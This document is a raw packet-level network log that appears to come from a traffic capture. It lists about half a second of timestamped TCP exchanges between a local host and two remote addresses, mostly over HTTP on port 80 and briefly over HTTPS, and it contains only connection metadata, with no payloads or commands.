Oct 29, 2024 15:27:21.658011913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.658057928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658065081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658077955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658083916 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658127069 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.658159018 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.658210039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658220053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658277035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.658735037 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658785105 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.658802032 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658811092 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.658873081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.695628881 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695710897 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.695753098 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695761919 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695817947 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.695818901 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695827007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695838928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695846081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695882082 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.695934057 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.695935965 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695944071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.695995092 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.696094036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696100950 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696115017 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696156025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.696178913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.696269989 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696306944 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696316004 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.696331024 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.696366072 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.773808002 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773817062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773830891 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773899078 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773906946 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773912907 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773920059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.773905039 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.773973942 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774003983 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774260044 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774328947 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774336100 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774347067 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774435043 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774444103 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774451971 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774463892 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774471045 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774504900 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774568081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.774569988 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774580002 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.774636030 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.775221109 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775273085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775285006 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.775346041 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775353909 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775352955 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.775361061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775401115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.775434971 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.775460958 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.775542021 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.811939955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.811956882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.811963081 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812060118 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812091112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812098026 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812104940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812112093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812171936 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812185049 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812185049 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812217951 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812247992 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812340975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812367916 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812403917 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812437057 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812443972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812457085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812463999 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812509060 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.812535048 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812542915 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.812613010 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891127110 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891135931 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891144037 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891267061 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891271114 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891277075 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891289949 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891304016 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891391993 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891402960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891458035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891458035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891458035 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891525030 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891532898 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891546011 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891596079 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.891897917 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891906977 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891913891 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.891954899 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.892018080 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892026901 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892034054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892046928 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892071009 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.892102003 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.892102003 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892108917 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.892153978 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942236900 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942276955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942287922 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942365885 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942394972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942403078 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942406893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942420006 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942426920 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942485094 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942519903 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942573071 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942584038 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942627907 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942742109 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942766905 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942773104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942805052 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942836046 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942878008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942890882 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942898989 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942905903 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.942929029 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.942960978 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.943005085 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.943017006 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.943026066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.943067074 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.006841898 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.007308960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007395983 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.007498980 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007508039 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007520914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007527113 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007533073 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007545948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007566929 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.007621050 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.007920980 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007968903 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.007980108 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008001089 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008035898 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008068085 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008076906 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008090019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008097887 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008127928 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008157015 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008162975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008173943 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008220911 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008694887 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.008718014 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.008883953 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.008943081 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.008984089 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.009033918 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.009236097 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.009248018 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.009252071 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.009283066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.009289026 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.009289980 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.009352922 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.024998903 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.028141022 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.028153896 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.028548002 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.028552055 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.045317888 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045332909 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045342922 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045399904 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.045423985 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045439959 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.045478106 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.045483112 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045491934 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045521021 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045540094 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.045543909 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.045572996 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.045599937 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059115887 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059160948 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059169054 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059185982 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059247017 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059267998 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059276104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059336901 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059391975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059446096 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059447050 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059461117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059503078 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059617996 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059654951 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059663057 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059684038 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059716940 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.059735060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059772968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.059823036 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.060101986 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.060165882 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.060220003 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.060277939 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.075426102 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.088692904 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.088726044 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.093370914 CET	49771	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.093389988 CET	443	49771	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.098262072 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.098669052 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.098690033 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.099104881 CET	49772	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.099111080 CET	443	49772	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.120414972 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.120925903 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.120945930 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.121445894 CET	49769	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.121452093 CET	443	49769	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.124286890 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124373913 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.124469995 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124479055 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124514103 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124524117 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124535084 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.124557972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124564886 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.124578953 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.124617100 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125017881 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125085115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125094891 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125103951 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125155926 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125190973 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125200033 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125212908 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125250101 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125283957 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125571012 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125580072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125587940 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125616074 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125648975 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125652075 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125725985 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125932932 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125983953 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.125988960 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.125998020 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.126024008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.126029968 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.126054049 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.126104116 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.141125917 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.141195059 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.141261101 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.157334089 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.157478094 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.157562017 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.158216953 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.158237934 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.158277988 CET	49768	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.158283949 CET	443	49768	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.159337044 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.159337044 CET	49770	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:22.159343958 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.159352064 CET	443	49770	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:22.162343979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162405014 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162415981 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162422895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162427902 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.162468910 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.162635088 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162662983 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162676096 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162694931 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.162725925 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.162806034 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.162858009 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.175976038 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.175997972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176002979 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176068068 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176114082 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176115036 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176122904 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176136017 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176170111 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176183939 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176367998 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176376104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176456928 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176485062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176563025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176613092 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176621914 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176677942 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:22.176830053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176839113 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176852942 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176877975 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:22.176897049 CET	49742	80	192.168.2.6	185.215.113.206
